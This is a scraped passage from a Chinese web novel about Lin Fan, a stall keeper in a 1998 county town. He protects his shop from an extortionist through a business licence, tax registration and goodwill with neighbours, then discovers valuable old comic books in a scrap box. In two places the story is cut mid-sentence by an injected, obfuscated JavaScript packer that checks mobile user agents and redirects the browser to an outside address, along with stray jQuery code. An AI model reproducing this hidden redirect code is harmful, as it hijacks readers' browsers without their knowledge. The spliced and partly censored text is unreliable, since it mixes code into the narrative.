跟旁边修鞋的张师傅、卖报纸的刘大妈处好关系——张师傅是退伍军人,脾气直,嗓门大,能镇住人,以前黑皮想抢他的钱,被他用修鞋的榔头赶跑过;
刘大妈嘴碎,消息灵通,家属区里一点事她都知道,而且她认识的人多,真有事,她喊一嗓子,能来好几个邻居帮忙。
平时递根烟、送瓶汽水(夏天五毛钱一瓶,冰的),下雨时帮张师傅收收摊子(他的修鞋摊有块帆布,下雨时得盖着),刘大妈忙时帮她看会儿报纸(怕被人拿,她卖报纸全靠自觉)。
真有麻烦,邻居们帮着喊一声,也能吓退黑皮——他再横,也不敢跟一群街坊作对,怕被人戳脊梁骨,以后在家属区里抬不起头。
第四步,主动提纳税。
如果办了执照,就去税务所咨询定额税——个体户定额税一般不高,估计一个月二十块左右。虽然会多花点钱,但“纳税人”的身份也是一层保护。
他可以对外说:“我这可是给国家交了税的正经生意,你们乱来,税务所的同志可是要过问的!”
黑皮再浑,也不敢跟“国家的生意”过不去,怕被安个“**”的罪名,那可不是拘留几天就能解决的。
想通这些,林凡心里踏实了些,像压在心里的石头挪开了一块。
这道壁垒虽然简陋,像用泥土和木头搭的墙,不结实,却至少能挡住大部分苍蝇,让他的小店能安稳地活下去——不用再担心黑皮天天来闹,不用再让笑笑躲在纸箱后害怕,不用再让王猛天天举着榔头守着。
第二天一早,林凡就让王猛看店——反复叮嘱他
“别跟人起冲突,黑皮来了就给烟给奶,别吵,等我回来,千万别动手”,
还把准备好的烟和奶放在柜台显眼处,摆得整整齐齐——自己则抱着笑笑,直奔辖区的工商管理所。
工商所是栋五十年代的旧楼,红砖墙,墙皮剥落处露出里面的青砖,像老人脸上的皱纹。
门口挂着块掉漆的木牌,写着“XX区工商行政管理所”,木牌上的字都快看不清了,边角还缺了块。楼里的走廊很暗,墙壁上贴着“个体工商户登记流程”的红纸,边角卷了,还沾着点灰,空气里飘着墨水味和旧纸张的霉味,呛得笑笑打了个喷嚏。
里面的工作人员是个六十岁左右的老头,姓张,穿着蓝色的工商制服,制服的扣子掉了一颗,用别针别着,别针还是银色的。
他戴着副塑料框的老花镜,镜片有划痕,看东西时得眯着眼,正坐在桌前拨弄老式算盘,“噼里啪啦”响,像炒豆子,算着什么账本。
他的态度不算热情,却也没刁难人,抬头看了林凡一眼,声音有点哑:
“办个体户执照?填这个表,要场地证明、身份证复印件,经营范围写清楚,别乱写——比如卖吃的要卫生证,你卖百货不用,省事。”
林凡接过表格,是张黄色的纸,边缘有点**糙,上面印着黑色的字,字都有点模糊了。
他认真地填着,一笔一划,怕写错:“经营者姓名”栏写“林凡”,字迹工整;“经营场所”栏填“XX家属区3号楼南侧临时棚”,连“临时棚”三个字都没漏;“经营范围”填“日用百货、儿童玩具零售”,不敢多写一个字;“资金数额”填“两百元”——这是他所有的本钱,一分都没多填,怕惹麻烦。
场地证明是昨天找街道李干事盖的章,红色的印泥还没完全干透,印着“XX街道办事处”的字样,章的边缘有点模糊;
身份证复印件是在路边的复印店印的,五毛钱一张,边角还沾着点墨——复印店的机器有点旧,总漏墨。
张老头接过表,翻了翻,又看了看林凡怀里的笑笑——笑笑正盯着桌上的算盘看,眼睛睁得圆圆的,好奇地想伸手摸——叹了口气,声音软了点:
“不容易,带个孩子做生意。审批要三天,三天后来拿,别迟到,晚了我可不等你。”
从工商所出来,林凡又去了街道办。
街道办在家属区的中心,是间平房,门口挂着“为民服务”的红牌子,牌子擦得很亮。
李干事正在屋里喝茶,他五十多岁,头发花白,梳得整整齐齐,袖口挽着,露出块上海牌的机械表,表盘有点花,却擦得很干净。
桌上堆着街道的通知,有“夏季防蚊通知”“计划生育宣传页”,还有个搪瓷杯,杯身上印着“劳动最光荣”,杯沿有点缺角,里面泡着绿茶,茶叶在水里飘着。
林凡没提黑皮的事——怕显得自己麻烦,怕李干事觉得他“事多”——只是从包里掏出一包红塔山,是昨天特意去百货店买的,八块钱一包,比给黑皮的烟贵十倍,他自己都舍不得抽。
他双手递过去,腰微微弯着:“李干事,我在咱们街道租了个小棚子,卖儿童用品,昨天刚开张,今天来跟您打个招呼。
以后我肯定遵守街道的规定,按时交租金、卫生费,绝不给您添麻烦。要是有啥做得不对的地方,您尽管批评,我一定改。”
李干事愣了愣,接过烟,放在桌上——没立刻拆,只是用手指敲了敲烟盒——脸上露出点笑,比刚才和蔼多了:
“哦,是你啊,那个带孩子的小伙子。你那棚子我路过看了,收拾得挺利索,比以前干净多了——以前那地方堆废品,脏得很,老鼠都往里面钻。
好好干,别搞歪门邪道,有事随时来找我,街道能帮的肯定帮,咱们就是为街坊服务的。”
他端起搪瓷杯,喝了口茶,茶叶在杯底沉着,没说话,却让林凡心里踏实了不少。
“哎,谢谢李干事!我肯定好好干!”
林凡连连点头,心里的石头又落了一块,像卸下了千斤重担——有李干事这句话,至少黑皮不敢太过分,不敢明目张胆地来砸棚子。
回到小店,王猛赶紧迎上来,声音还带着点急,手里拿着个空奶瓶——是黑皮的跟班麻杆拿走的——脸上满是担心:
“凡子,咋样?黑皮的跟班麻杆刚才来了,拿走了一包烟和一瓶奶,没多说啥,就是眼神不太好,盯着柜台里的写字板看了半天,我没敢跟他搭话,就按你说的,给了东西就让他走了。”
“嗯,知道了,你做得对。”
林凡点点头,从包里拿出几包“经济烟”——刚才在工商所门口买的,五包四块钱,烟盒都有点皱了——和几瓶橘子味汽水,五毛钱一瓶,冰的,瓶身上还挂着水珠,递给王猛:
“等会儿你把这烟给旁边修鞋的张师傅送去,汽水给卖报纸的刘大妈,就说邻里之间互相照应,别客气——张师傅要是在修鞋,你就帮他递个钉子;刘大妈忙时帮她看会儿报纸,别让人家拿了。”
王猛虽然不解——觉得没必要送东西,觉得“浪费钱”——却还是照做了。
张师傅接过烟,卷了卷塞进耳朵里,笑得眼睛都眯了,露出豁了的牙,声音洪亮:
“凡子这小伙子,会来事!以后黑皮再来捣乱,你跟我说一声,我这修鞋的榔头也不是吃素的——上次他想抢我修鞋的钱,被我一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607477|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
榔头吓跑了,敲他两下让他记着,看他还敢不敢来!”
刘大妈接过汽水,拧开瓶盖,先给笑笑倒了小半杯——怕凉着孩子,倒的是不那么冰的——笑着说:
“以后你家笑笑放学没人看,就放我这儿,我帮你看着,还能给她讲故事——我孙女跟她差不多大,正好有伴,俩孩子能一起玩。你放心去进货,我帮你看店都行,保准丢不了东西。”
三天后,林凡去工商所拿到了营业执照。
那是一张薄薄的纸,上面印着他的名字、经营场所、经营范围,还盖着红色的公章,红得发亮,像颗定心丸。
他特意在路边的小卖部买了个塑料相框,五块钱,天蓝色的,边缘有点**糙,却很结实,能保护执照不被弄脏。
他把执照小心地放进去,用钉子钉在棚子最显眼的位置——正对门口,一进门就能看见——阳光照在上面,红色的公章格外醒目,像块盾牌挡在棚子中央,挡住了外面的风风雨雨。
当天下午,黑皮又来了。
他刚走到棚子前,目光就落在了那张执照上,眼神像被针扎了下,闪烁了一下——他认识“营业执照”这几个字,知道这是政府发的,不是闹着玩的。
他没像以前那样踹木板,也没嬉皮笑脸,只是站在门口,脸色有点沉。
林凡递过烟和奶,他接了,手指捏着奶盒,指尖泛白,没多说什么,只嘟囔了句“别耍花样”,就匆匆走了,脚步比平时快了些,连晃肩膀的劲都没了。
路过张师傅的修鞋摊时,他还特意绕了绕——张师傅正拿着榔头敲钉子,抬头瞪了他一眼,他赶紧低下头,快步走了。
林凡看着黑皮的背影,嘴角露出一丝浅笑。
他知道,自己筑的第一道壁垒,已经起作用了——那纸执照虽然薄,却像道无形的墙,挡住了黑皮的嚣张,让黑皮不敢再像以前那样肆无忌惮。
接下来的日子,林凡按时去街道交租金——每月1号,他都亲手把钱交给李干事,让李干事在账本上签个字,自己也记着,一笔都不马虎;偶尔给李干事送点水果——比如快放坏的苹果(两块钱一斤,虽然有点软,却很甜)、有点软的香蕉(一块五一斤,剥了皮就能吃),李干事也不嫌弃,还会跟他聊两句生意:
“最近卖得咋样?要不要帮你在街道的通知栏贴个小广告?免费的,帮你招揽点生意。”
林凡连忙说
“不用麻烦,谢谢您”,
心里却暖烘烘的,像晒了太阳。
他跟张师傅、刘大妈处得像家人。
张师傅帮他修过棚子的门——门轴松了,张师傅用锤子敲了敲,上了点油,没收一分钱,还说
“邻里之间,这点小事不算啥”;
刘大妈常帮他看笑笑,有时候还会带点自家做的玉米面馒头——带着枣香,笑笑最爱吃,一次能吃两个;下雨时,刘大妈还会帮他收柜台里的货,怕被雨水淋湿。
他还去税务所办了定额税,每个月交二十块钱,拿到了完税证明——粉色的纸,上面印着“完税凭证”四个字,还盖着税务所的章,跟营业执照挂在一起,旁边还贴了张“依法纳税光荣”的小贴纸,是税务所给的,红色的,很显眼。
有次黑皮来拿烟,看见完税证明,皱着眉问
“这是啥”,
林凡笑着说
“给国家交了税的证明,每个月都交,咱这是正经生意”,
黑皮没再说话,拿了东西就走,连停留都没停留。
黑皮依旧每天来拿烟和奶,却再也没提过加钱的事,也没让麻杆和冬瓜来捣乱。
有时候看到张师傅在棚子旁边修鞋,他甚至会绕着走,眼神躲躲闪闪的,像怕被张师傅的榔头敲到;
看到刘大妈在跟邻居聊天,他也不敢大声说话,怕刘大妈说他坏话,怕邻居们瞪他——他再横,也怕被人戳脊梁骨,怕在家属区里没法立足。
林凡知道,这道壁垒还不够厚,像用泥土搭的墙,遇到大风可能还会倒——比如黑皮要是找更厉害的人来,比如找外面的“混子”,这道墙就挡不住了。
但至少现在,它挡住了黑皮这种苍蝇,让他的小店能安稳地营业:每天能卖出去二十瓶AD钙奶、十本笔记本、五副跳棋,有时候还能卖出去几个铅笔盒,一个月能赚两百多块,比以前在工地搬砖还多;
笑笑能在棚子旁边跟刘大妈的孙子玩,不用再躲在纸箱后害怕,还能每天吃一块小熊饼干,有时候林凡还会给她买根冰棍,草莓味的,笑笑能高兴半天。
他看着窗外来来往往的顾客——有带着孩子来买玩具的家长,是刚下班的工人,手里拿着工资袋,脸上带着笑;
有来买奶的邻居,张婶常来,每次都笑着说“给我家孙子带一瓶,他就爱喝这个”;
看着王猛熟练地给孩子拿铅笔盒,笑着跟顾客聊天——王猛也学会了客气,不再像以前那样急脾气,说话时会放慢语速,怕吓着孩子;
看着笑笑在旁边追着蝴蝶跑——蝴蝶是从家属区的花坛飞来的,是黄色的,翅膀上有黑点,笑笑追着它跑,笑声像银铃,飘在棚子上空。
林凡的眼神越来越坚定。
他要做的,不只是筑一道挡苍蝇的壁垒,还要把这道墙筑得更厚、更牢——下个月他想再进点货,比如儿童故事书,进价一块,卖一块五,孩子们肯定喜欢;
再把棚子的石棉瓦换成新的,防止漏雨,让棚子更结实点;以后还要开个大点的店,有正经的门面,不再是临时棚,让笑笑能在干净明亮的店里玩,不用再闻废品站的霉味。
直到有一天,就算没有这道墙,也没有苍蝇敢来叮。
因为他已经长成了一棵能遮风挡雨的树,而不是一块任人啃咬的肉;
他的店也会变成一家正经的铺子,受所有人尊重,不再是“任人欺负的小摊子”。
风从棚子外吹进来,带着点花香——
家属区花坛里的月季开了,红的、粉的,格外好看——
柜台上的营业执照在阳光下闪着光,像在告诉他:这条路,你走对了。
第十二章:一定有预谋
铁皮棚的边角被夏日的阳光烤得发烫,地表温度能飙到38度,手一摸铁皮就烫得赶紧缩回来。
棚顶的锈迹是暗红色的,像凝固的血痂,风一吹还会掉些棕褐色的锈渣,落在地面拼成星星点点的斑驳阴影。
正中央那根开裂的旧木梁,是林凡从城郊拆迁房里淘来的,木纹里还嵌着半枚生锈的铁钉,梁上挂着他刚办没多久的营业执照。
淡蓝色的纸质执照被透明塑料相框裹得严严实实,框边沾着的水泥灰是上次修棚子时蹭的,指腹一搓还能掉渣,执照上“日用百货零售”的黑色字迹用的是宋体,笔画规整,发证日期“1997年11月15日”的数字清晰得能看清墨迹的晕染,距现在不过半年零三天。
正午的阳光斜斜穿过棚子的缝隙,像根金色的细针,正好扎在右下角的红色公章上,那团朱红泛着淡淡的金属光泽,像一块薄脆却管用的护身符。
上周有个想收“保护费”的混混,看见这执照后,嘟囔着“有证麻烦”,骂骂咧咧地走了,替这个刚起步的小摊子挡住了不少闲杂麻烦。
黑皮还是每天准时来报到,踩着午饭前半小时的点,晃悠悠地晃到窗口。
他那件印着褪色大朵牡丹的花衬衫,洗得发皱,领口磨出的毛边里还沾着点去年冬天的棉絮,袖口卷到小臂,露出手腕上一道浅褐色的刀疤,据说是以前跟人抢地盘时划的。
以前他总爱往棚子里挤,要么趁林凡转身拿东西时,从玻璃罐里抓一把“唐僧肉”零食揣兜里,要么顺手摸块橡皮就走,嘴里还嘟囔着“算你孝敬的”,唾沫星子能溅到林凡的手背。
现在他规矩多了,只是伸出手,指缝里还留着上次修自行车沾的黑油泥,接过林凡递来的“哈德门”烟盒和娃哈哈AD钙奶。
那烟是1块5一盒的经济烟,烟盒上的“哈德门”三个字是烫金的,边角已经磨得发白;奶是5毛钱一瓶的儿童饮料,瓶身上的娃哈哈头像嘴角还沾着圈淡红色的果汁渍,是林凡特意留给他的“规矩钱”。
黑皮指尖捏烟盒的力度比以前轻了不少,指腹蹭过塑料相框时会下意识顿一下,眼神总绕着那本营业执照转,连“别耍花样”的嘟囔都压得低低的。
像怕惊着什么,接过东西转身就走,花衬衫的衣角扫过棚边的狗尾草,草穗子晃了晃,他连多停留一秒的念头都没有,以前他至少会站着抽根烟,吐着烟圈跟林凡扯两句闲话。
小棚子的生意像檐角滴下的雨,细水长流却掀不起波澜。
每天的营收大多靠附近实验小学的孩子和筒子楼的邻居撑着:一年级的妞妞扎着两个羊角辫,发梢系着粉色的塑料花。
每天放学都会来买1毛钱一支的铅笔,一次买两支,说一支写作业、一支画画,铅笔5分进1**卖,一支能赚5分,她这单生意每天能给林凡添1毛利润;
张婶下班路过时,总会拎着个印着“上海牌”的帆布包,来带一瓶1块2的酱油,酱油是从县城批发部进的,1块钱一瓶,一瓶赚2**,她每周买两次,每周能赚4**;
李叔早起遛弯时,会揣着个铝制烟盒,来捎一包2块5的“红梅”烟,烟1块8进的,一包赚7**,他隔天买一包,每月能贡献10块5的利润;
偶尔有附近工地的工人来买块2毛钱的橡皮,橡皮1**5进的,一块赚5分,工**多会拿现金,硬币放在玻璃柜上叮当作响。
算下来,一天能有七八十块的收入,刨去给黑皮的3块烟奶钱、10块钱的进货成本,铅笔5分钱一支进了200支,橡皮1**5进了100块,作业本4毛钱一本进了50本。
最后能落下二十三四块,赶上哪天孩子多,最多能落28块。
这点钱够给笑笑买瓶1块2的纯牛奶,再去菜市场割两斤8毛钱的青菜,却远远撑不起“安稳”两个字。
林凡住的筒子楼是1965年盖的,墙皮剥落得露出里面的红砖,楼道里的灯泡坏了半个月没人修,晚上只能摸黑走,楼梯扶手的油漆掉得只剩斑驳的黄印子,一摸一手灰。
他家在三楼最里面,15平米的小单间,摆了一张木板床、一个掉漆的衣柜和一张折叠桌,就没多少空地了。
一到雨季,床头就得摆个搪瓷脸盆接雨,脸盆是1980年厂里发的,边缘缺了个口,雨水滴进去“滴滴答答”的声音能响一整夜,早上起来盆里能积小半盆水,床沿都得湿一片;
笑笑脚上的塑料凉鞋是去年买的,鞋底早就磨平了,鞋头裂了个小口子,脚趾头快从破洞里露出来。
他上周去小商品市场问过,一双新的塑料凉鞋要15块,够买30瓶AD钙奶,犹豫了好几天还是没舍得;
更别说以后送笑笑去好学校——县城的实验小学是重点,一学期学费180块,杂费120块,加起来300块。
按他现在每月六百八左右的收入,得攒小半个月才能凑够,这还没算15块的书本费和60块的校服钱,校服是蓝白相间的运动服,笑笑每次路过学校门口,都会盯着穿校服的孩子看半天。
林凡坐在棚子角落的小马扎上,看着王猛给妞妞拿磁性写字板。
王猛是他的同乡,比他小两岁,从老家来县城打工,在工地搬了三个月砖,老板跑了没拿到工资,就来帮他看摊。
林凡管早晚两顿饭,中午王猛自己啃馒头,一个月给150块,比在工地干体力活少50块,但胜在安稳。
王猛的手掌又大又粗,掌心和指关节处全是老茧,是在工地搬砖、扛钢筋磨出来的,指缝里还嵌着洗不掉的水泥灰,捏着那支小巧的塑料写字笔时,动作笨拙得像在摆弄易碎品,笔尖好几次差点戳到写字板的屏幕。
额头上的汗珠顺着脸颊往下淌,滴在他那件洗得发白的蓝色工装胸前,工装左胸印着的“红星砖厂”四个字已经模糊,汗珠晕开一小片湿痕,很快又被热风烘干。
他另一只手拿着张《县城日报》扇风,报纸“哗啦哗啦”的响,报纸上1998年6月12日的日期用黑体印在头版右上角,油墨味混着他身上的汗味飘过来,带着股朴实的烟火气——王猛每天都会把报纸带回去,晚上睡前翻一翻,说能“长见识”。
“这天儿热得邪乎,柏油路都快晒化了,早上我骑车来,轮胎压在路面上,都能留下浅浅的印子,粘了层灰,回家得用刷子刷。”
王猛扇着报纸,眼神瞟向棚外的马路,路面泛着白光,像铺了层碎玻璃,连路过的自行车都骑得飞快,骑车人的衬衫后背全湿透了,贴在身上。
林凡没接话,手指在膝盖上轻轻敲着,心里像压着块十斤重的石头。这小杂货摊就像口浅井,井水够日常喝,却挖不出能解渴的泉眼。
万一哪天黑皮要加“规矩钱”,或者进货价涨了,这点利润根本扛不住。他得找口更深的井,一口藏在时代褶皱里、裹着信息差的井。
1998年的县城,市场经济刚起步,很多老物件还没被人发现价值,就像蒙着灰的金子,只等着懂行的人弯腰去捡。
当时县城里连像样的古玩店都没有,只有城西有个卖老家具的摊子,老板只认红木、紫檀,对连环画、旧报纸这些“小玩意儿”根本瞧不上,说“占地方还不值钱”。
傍晚收摊时,天还没完全黑,西边的天空泛着橘红色的晚霞,筒子楼方向传来炒菜的香味,谁家炒了辣椒,呛得人忍不住咳嗽,还能听见“叮叮当当”的炒菜声和孩子的哭闹声。
笑笑抱着林凡的脖子,小脸蛋贴在他汗湿的衬衫上,软乎乎的小手攥着他的衣领,指甲盖里还沾着点下午玩泥巴的土:“爸爸,地上凉。”
棚子的地面是水泥打的,当初铺的时候没找平,一边高一边低,返潮的时候能映出人影,踩上去滑溜溜的。
林凡弯腰摸了摸,指尖能感觉到凉意,确实凉得扎手。
他想起早上翻出的那个旧纸箱,是以前进康师傅红烧牛肉面用的,外面印着大块的牛肉和面条图案,红色的汤底早就褪成了淡粉色,纸箱侧面有个破洞,用胶带粘了两层。
里面塞着进货时用的废报纸、碎泡沫,还有些玻璃罐的防震棉,棉絮都露出来了,或许能找块硬纸板给孩子垫着坐,省得凉着屁股。
他蹲在纸箱前,指尖刚探进去就触到一股霉味,混着旧报纸的油墨腥气,还夹着点方便面调料包的咸香味。
那是以前装方便面时漏的调料粉,在纸箱角落结了层淡黄色的痂,像老房子墙角积了多年的灰尘。笑笑赶紧把脸埋在他颈窝,小鼻子皱成一团,声音闷闷的:“爸爸,臭。”
林凡笑着把她往远处抱了抱,用袖子挡着她的鼻子,另一只手在纸箱里慢慢翻找。
碎泡沫滑溜溜的,蹭过指尖时像摸到了肥皂,还会沾在指腹上;废报纸是1995年的《人民日报》,纸页已经发脆,一捏就掉渣,上面的标题“深化改革”四个字还清晰可见。
突然,指尖触到了不一样的东西——不是报纸的软塌,也不是泡沫的滑腻,是厚而脆的纸页,边缘带着岁月磨出的毛边,像老人手上粗糙的茧子,摸起来有点扎手。
他心里一动,小心翼翼地抽出来一看:是本连环画,封面的纸壳已经磨得发白,边角也卷了,但还能看清“孙悟空三打白骨精”七个黑体字,字号约莫三号,透着股厚重感,字的边缘还描了圈淡黑色的轮廓。
上海人民美术出版社的圆形标识缩在封面右下角,红色颜料脱了大半,露出下面泛黄的纸底,像旧照片褪了色,标识里的“上海人美”四个字还能辨认。
翻到版权页,1962年8月第1版第1次印刷的黑色字体像颗钉子,狠狠扎进他的眼睛——印数只有10000册,在当时不算少,可保存到现在的,恐怕连十分之一都不到,毕竟那时候连环画大多是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607478|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孩子看的,翻来翻去容易坏,还有不少在搬家时被当作“破烂”扔了。
林凡的心跳猛地漏了一拍,像被什么东西狠狠撞了胸口,一股热流从心底往上涌,冲到太阳穴,耳朵都嗡嗡响。
前世的记忆突然从雾里钻了出来:2010年的时候,他在电子厂的老同事老张,曾捧着一本1958年版的《武松打虎》连环画在办公室炫耀。
书用牛皮纸包着,老张打开时小心翼翼的,说那本书在省城的古玩市场卖了3000块,抵他半个月工资。
当时老张的月薪已经涨到6000了,是林凡当时工资的两倍。那时候林凡只觉得是老张吹牛,还笑他“捡个破书当宝贝,不如多赚点加班费”。
现在看着手里这本1962年的《三打白骨精》,纸页上孙悟空的金箍棒还泛着淡墨色的光,白骨精的脸画得青面獠牙,他突然明白,自己摸到了一座没被挖开的金矿。
1998年的县城,谁会把这“小人书”当宝贝?
大多被塞进废品堆,等着和旧报纸一起送进造纸厂打成纸浆——当时废品站收废纸一斤5分钱,一本连环画也就两三两,卖不了几分钱;
要么被孩子撕着玩,页角散落在巷口的泥地里,被雨水泡烂,字迹晕成一团黑;还有的被老人用来垫桌脚、糊墙,纸页上沾着油污和灰尘。
巨大的信息差像一道鸿沟,一边是没人识货的“破烂”,一斤值5分,一边是未来能翻上千倍的宝贝,一本值几千,而他站在鸿沟的对岸,能清楚看见沟底藏着的光。
他记得前世2015年在“中华古玩网”上看过,1962年版的《孙悟空三打白骨精》,品相完好的能卖到5800块,是他现在半年的收入,够给笑笑买386双新凉鞋,够交19次实验小学的学费。
林凡强压着心里的狂喜,指尖轻轻摩挲着纸页。
那纸脆得像薄冰,生怕一用力就捏碎,纸页上还留着淡淡的折痕,是以前的主人翻书时留下的。他不动声色地把这本《三打白骨精》塞进裤兜,裤兜右侧有个破洞,他用手紧紧捂着,掌心的汗濡湿了纸页的边缘,留下一小片淡褐色的印子,像给书盖了个隐形的戳。
又在纸箱里翻了翻,果然又找出几本:《红灯记》的封面缺了个角,像被老鼠咬过,内页还粘着颗干硬的饭粒,米粒已经发黄,像是谁当年看书时不小心掉的,抠都抠不下来;
《地道战》被虫蛀了几个小洞,对着光看能看见里面的纸絮,像老棉花的纤维,风一吹还会飘出几根;
还有本《牛郎织女》,画得倒是精致,织女的衣袂用淡蓝色颜料涂得飘逸,牛郎的牛画得毛发分明,可纸页受潮发皱,像泡过水的海带,摸起来黏糊糊的,指尖一按还能留下个浅印。
“猛子,这些旧书哪儿来的?”
林凡站起身,拍了拍手上的灰,灰屑落在水泥地上,被风吹了吹就散了,他装作随意地问,眼神却盯着那本《三打白骨精》的方向,怕王猛看出破绽。
王猛正收拾玻璃柜里剩下的橡皮,把散落在外面的橡皮一个个塞进罐子里,闻言探头看了眼纸箱,手里的动作没停:
“哦,前几天从废品站老王头那儿买了个旧五斗柜,红漆都掉光了,露出里面的木头,抽屉拉着还嘎吱响,花了20块,想当货架用,放些零食。
这些是塞在抽屉里的填充物,怕运输时磕着柜门,还有点旧棉花,都发黄了,我嫌占地方扔了,就留了这些纸。我看也没用,准备下次卖废品时一起捎过去,还能换几毛钱,够买根冰棍。”
废品站!林凡的眼睛瞬间亮了——那地方堆着的不是破烂,是藏着宝贝的仓库。
他拉过王猛,声音压得低低的,像怕被路过的人听见,连呼吸都放轻了:
“猛子,我有个远房表叔,在省图书馆搞古籍修复,最近在收集老连环画,说是研究建国后的美术史,缺的就是这种老版本。
他让我帮着留意,有多少收多少,按废纸价加点钱就行,比如废纸5分一斤,我给8分,不麻烦。以后咱们去废品站,见着这类小人书,就帮我攒着,品相越完整越好,缺页、发霉的也别扔,他说研究用得着。”
他又搬出“远房亲戚”的借口,还加了“美术史研究”的由头,听起来既正式又无害,不会让人起疑心。
要是说“这书以后值钱”,王猛说不定会追问,反而麻烦。
王猛咧嘴一笑,露出两排白牙,牙缝里还沾着点中午吃的咸菜,拿起本《红灯记》翻了翻,页面“哗啦”响,油墨都掉了点在他手上:
“嗨,我当啥大事!就这破玩意儿?
成!包在我身上!以后见着了都给你留着,反正也占不了地方,还能帮你表叔的忙。”
他顿了顿,又补充道,
“这画得还不如电视台放的《西游记》动画片好看呢,孙悟空的**都没画清楚,脸也没那么红。”
第十三章:旧纸堆里的黄金
铺垫做好了,林凡没急着行动。
他知道,盲目去找只会白费功夫,得先摸清“门道”——哪些出版社的连环画值钱?
上海人民美术出版社、人民美术出版社的肯定比地方小出版社的值钱,赵老头后来跟他说,这两家叫“大社”,印刷质量好,画家也有名;
哪些题材更稀缺?古典名著和红色题材比现代题材值钱,尤其是《西游记》《水浒传》的单册,还有《白毛女》《红灯记》这类;品相怎么判断?赵老头教他的“三无标准”:
无缺页、无霉斑、无折痕,符合的叫“近全品”,比“九品”(有轻微折痕)还值钱,要是有作者签名,那更是“宝贝中的宝贝”。
这些都得弄明白,不然捡了一堆地方出版社的现代题材连环画,反而浪费时间和钱。
接下来几天,他利用去市里进货的间隙,跑了三家旧书店。
最老的那家藏在老城区的巷子里,叫“文兴旧书店”,门脸只有半人宽,木门上的铜环都生了锈,推开门时“吱呀”响,像老人的咳嗽声。
老板是个姓赵的老头,60多岁,头发花白,以前在县文化馆搞美术工作,退休后开了这家店,鼻梁上的老花镜度数极深,看东西时得凑到距离书本10厘米的地方,镜片厚得像啤酒瓶底。
书店里的书堆得比人还高,从地面堆到天花板,只留一条能过人的窄道,阳光从破窗棂照进来,在书上投下斑驳的光斑,像撒了一把碎金,空气里满是陈年的油墨味和霉味,吸一口都觉得呛。
林凡装作看武侠小说,指尖在书架上划过金庸的《射雕英雄传》、古龙的《楚留香传奇》,书脊都磨得发白,有的还缺了角,他故意抽出一本翻了翻,问赵老头“多少钱”,趁机套近乎。
眼睛却瞟着角落里的连环画堆,那堆书用一块旧蓝布盖着,蓝布上有补丁,掀开时能闻到一股更浓的陈年油墨味,比其他书的味道更重。
“大爷,这些小人书咋卖?”
他拿起一本《鸡毛信》,封面画着个穿补丁衣服的小孩,手里攥着封信,信纸还泛着淡蓝色,边角很平整,没有折痕,封面右下角印着“刘继卣绘”四个字。
赵老头头也没抬,翻着手里的账本,账本是牛皮纸封面的,已经泛黄,钢笔尖在纸上“沙沙”响,写的是毛笔字:
“五毛钱一本,论斤称更便宜,一毛钱一斤。现在没人看这个了,年轻人都看动画片、武侠小说,也就偶尔有老太太来买,给孙辈撕着玩,或者垫在菜篮子底下防沾油。”
“这画得挺好的,是不是有名人画的?”
林凡故意问,想套点信息,手指轻轻拂过封面的小孩,颜料还很牢固,没掉渣。
赵老头这才抬头,推了推滑到鼻尖的老花镜,打量了他一眼,眼神里带着点“总算遇到懂行的”的欣慰:
“你还懂这个?这是刘继卣画的,以前在省美术馆都挂过他的画!
他画的人物最传神,你看这小孩的眼神,多灵动,像真的一样,连衣服上的补丁都画得有纹路。”他指了指封面上的放羊娃,指尖在纸上轻轻点了点,
“可惜啊,现在没人认这个了。我这还有几本他画的《水浒传》,放了三年都没卖出去,本来想留给孙子,结果他只玩游戏机,看都不看。”
刘继卣、上海人民美术出版社、1950年代版本、古典名著和红色题材……林凡把这些关键词记在心里,像在脑子里建了个小账本,每一个都标上“重要”。他还花五块钱买了这本《鸡毛信》。
封面没磨损,内页也平整,是1955年版的,既当作参考样本,也能给笑笑当“新玩具”。五块钱在当时能买十瓶AD钙奶,能买两斤猪肉,可林凡觉得,这钱花得比什么都值,比进一箱方便面还划算。
准备就绪,一个晴朗的周六上午,林凡带着笑笑去了县城边缘的废品收购站。
那地方在东郊,靠近国道,周围是大片的农田,地里种着玉米,已经长到半人高,风一吹“沙沙”响。
废品堆得像几座小山:废铁堆里混着旧自行车、洗衣机外壳,自行车的轮胎都瘪了,洗衣机的按钮还掉了两个;塑料瓶堆得五颜六色,像座小山,阳光一照反光;
最里面是几垛用麻袋装着的旧书报,麻袋是粗麻布的,上面印着“尿素”的字样,还沾着点白色粉末,风一吹,能闻到纸张发霉的味道,还夹着点泥土的腥气。
收购站老板老王头坐在树荫下的竹编马扎上,马扎的藤条断了两根,用绳子绑着。
他手里端着个搪瓷缸,缸子上印着“劳动光荣”四个宋体红字,红色都褪成粉色了,边缘缺了个角,茶垢厚得能刮下来,深褐色的茉莉花茶在缸里晃着,飘着几朵干花。
他看见林凡,眯着眼笑了,眼角的皱纹挤在一起,像揉皱的纸:
“哟,小林老板,今天又来淘换啥?上次那木柜还好用不?没掉漆吧?”
“好用,谢谢您,放了不少货,零食都能摆开了。”
林凡笑着走过去,递上一根没拆封的“红塔山”——这烟7块钱一盒,比给黑皮的“哈德门”贵5块5,是他特意为“办正事”准备的,平时自己都舍不得抽,只抽2毛钱一根的散装烟。
老王头接过烟,夹在耳朵上,烟叶露出来一点金黄,他用手按了按,怕掉了:
